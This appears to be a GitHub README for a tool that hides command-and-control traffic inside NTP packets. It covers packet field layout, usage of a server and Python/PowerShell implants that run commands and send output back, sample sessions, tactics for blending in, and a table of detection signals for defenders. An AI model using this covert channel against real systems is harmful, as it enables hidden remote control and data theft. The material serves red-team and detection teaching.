A simple C2 tool that encapsulates command traffic within NTP (Network Time Protocol) packets.
This tool demonstrates how attackers can abuse the NTP protocol for covert command and control. The traffic appears as NTP on the wire (UDP port 123) but carries Base64-encoded commands and output. This was a very simple and quick project to get a feeling for what a C2 over NTP would look like, and how feasible it would be to use it during a pentest engagement. Yes I used Claude to make my life easier.
The code is intentionally verbose and heavily commented for educational value — every design decision maps back to a specific RFC 5905 field or protocol constraint.
https://www.activecountermeasures.com/malware-of-the-day-c2-over-ntp-gomesa/ https://github.com/ryanq47/CS-EXTC2-NTP
- The agent sends NTP client requests to the server on UDP port 123
- A magic identifier (
NTP1) in the transmit timestamp field (bytes 40-43) identifies C2 packets; packets without it receive a legitimate NTP time response - Command output is Base64-encoded and appended after the 48-byte NTP header
- The server responds with an NTP server reply containing the encoded command
- The agent decodes and executes the command, buffering the output for the next beacon
Per RFC 5905, NTP packets have a 48-byte header:
Byte 0 : LI (2 bits) | VN (3 bits) | Mode (3 bits)
Byte 1 : Stratum
Byte 2 : Poll interval exponent (max seconds between messages)
Byte 3 : Precision (log2 of clock resolution)
Bytes 4-7 : Root Delay
Bytes 8-11 : Root Dispersion
Bytes 12-15 : Reference ID (e.g. "GPS " for stratum 1)
Bytes 16-23 : Reference Timestamp
Bytes 24-31 : Origin Timestamp
Bytes 32-39 : Receive Timestamp
Bytes 40-47 : Transmit Timestamp
Our covert channel occupies two of these fields:
| Field | Normal use | Our use |
|---|---|---|
| Bytes 40-43 | Transmit timestamp (seconds) | Magic identifier NTP1 (0x4E545031) |
| Bytes 44-47 | Transmit timestamp (fraction) | 4 random bytes for entropy |
| Bytes 48+ | — (packet ends at 48) | Base64-encoded payload |
Legitimate NTP clients send and receive exactly 48 bytes. Any packet larger than 48 bytes is an immediate anomaly.
| File | Role | Platform |
|---|---|---|
ntpsh-server.py |
Operator console — listens for beacons, issues commands | Any (root required) |
ntpsh-agent.py |
Implant — polls server, executes commands, exfiltrates output | Linux/macOS |
ntpsh-agent.ps1 |
Implant — same as above, PowerShell implementation | Windows |
sudo python3 ntpsh-server.py [bind_ip] [-v]| Argument | Default | Description |
|---|---|---|
bind_ip |
0.0.0.0 |
Interface to listen on |
-v / --verbose |
off | Print NTP field-level breakdown for each packet (see below) |
python3 ntpsh-agent.py <server_ip> [poll_interval_seconds]| Argument | Default | Description |
|---|---|---|
server_ip |
required | IP of the C2 server |
poll_interval |
2 |
Seconds between beacons |
.\ntpsh-agent.ps1 -ServerIP <ip> [-PollInterval <seconds>]Server (normal mode):
$ sudo python3 ntpsh-server.py
[*] NTP C2 Server listening on 0.0.0.0:123
[*] Waiting for agent connection...
[*] Type commands when agent connects. Ctrl+C to exit.
[+] Agent connected from 192.168.1.50:54321
whoami
[>] Queued: whoami
testuser
hostname
[>] Queued: hostname
target-pc
Server (verbose mode):
$ sudo python3 ntpsh-server.py -v
[*] NTP C2 Server listening on 0.0.0.0:123
[*] Waiting for agent connection...
[*] Type commands when agent connects. Ctrl+C to exit.
[+] Agent connected from 192.168.1.50:54321
[RECV] NTP packet ← 192.168.1.50:54321 (48 bytes)
Byte 0 : LI=0 VN=3 Mode=3 (no-leap, NTPv3, client)
Byte 1 : Stratum=0 (unspecified)
Byte 2 : Poll=0 (2^0 = 1s)
Byte 3 : Precision=2^0
Bytes 12-15 : Ref ID = 00000000
Bytes 40-43 : 4e545031 ← "NTP1" C2 MAGIC DETECTED
Bytes 44-47 : a3b2c1d0 (random entropy)
whoami
[>] Queued: whoami
[SEND] NTP packet → 192.168.1.50:54321 (54 bytes)
Byte 0 : LI=0 VN=4 Mode=4 (no-leap, NTPv4, server)
Byte 1 : Stratum=2 (secondary ref (level 2))
Byte 2 : Poll=4 (2^4 = 16s)
Byte 3 : Precision=2^-20
Bytes 12-15 : Ref ID = "GPS "
Bytes 40-43 : 4e545031 ← "NTP1" C2 MAGIC DETECTED
Bytes 44-47 : f1c2a3b4 (random entropy)
Bytes 48+ : 6 bytes Base64 payload → whoami
testuser
Agent:
$ python3 ntpsh-agent.py 192.168.1.100
[*] NTP C2 Agent connecting to 192.168.1.100:123
[*] Poll interval: 2s
[*] Press Ctrl+C to exit
[<] Received: whoami
[>] Output buffered (9 bytes)
[<] Received: hostname
[>] Output buffered (10 bytes)
Agent Server
| |
|-- NTP request (48 bytes) -------> | Empty beacon: no output to send
| [Bytes 40-43: "NTP1"] |
| |
|<-- NTP response (54 bytes) ------ | Server has a command queued
| [Bytes 40-43: "NTP1"] |
| [Bytes 48-53: Base64("whoami")]|
| |
| execute: whoami → "testuser\n" |
| |
|-- NTP request (75 bytes) -------> | Beacon carries command output
| [Bytes 48-74: Base64("testuser\n")]|
| |
|<-- NTP response (48 bytes) ------ | No pending command
Why the transmit timestamp field? The client populates bytes 40-47 and the server echoes them back in the origin timestamp field (bytes 24-31). Placing our magic here means the field contains data we fully control on both sides, with no server-side enforcement of its value.
Why Base64 encoding? Intentionally weak — any defender with a packet capture can decode it trivially. The goal is to demonstrate the channel, not evade analysis.
Why UDP? NTP is a UDP protocol. Using TCP would be immediately anomalous on port 123.
Why does the server also respond to legitimate NTP clients?
Blending in as a real NTP server prevents the C2 infrastructure from standing out as a non-functional host. Any packet without the NTP1 magic receives a valid RFC 5905 response.
Output buffering The agent accumulates command output between beacons and sends it in the next request's payload. This means there is one-beacon latency between a command completing and its output appearing on the server.
- Python 3.6+
- No external dependencies (standard library only)
- Server requires root/admin to bind to port 123
This tool is intentionally detectable. A defender watching network traffic would see:
| Signal | What to look for |
|---|---|
| Packet size anomaly | NTP packets > 48 bytes |
| Magic bytes | Transmit timestamp field = 4e 54 50 31 (NTP1) |
| Base64 payload | Printable ASCII appended after byte 48; always ends with = padding |
| Polling regularity | Beacons arriving at fixed intervals (e.g. every 2s) vs. typical NTP jitter |
| Stratum mismatch | Server reports stratum 2 with Ref ID GPS but has no upstream sync history |
| Non-standard poll byte | Agent requests use Poll=0 (1s); real NTP clients typically use 6–10 |
Running the server with -v will annotate every packet with exactly the fields a defender would inspect, making this useful for both offensive and defensive classroom exercises.
- RFC 5905 - Network Time Protocol Version 4
- Alternative communication channel over NTP
- NTP Covert Channel Research
- Active Countermeasures: C2 over NTP (GoMesa)
- CS-EXTC2-NTP reference implementation
This tool is for educational and authorized security testing only. Unauthorized use against systems you do not own or have permission to test is illegal. The intentionally weak encoding ensures this cannot be used effectively by malicious actors.
MIT License - See LICENSE file for details.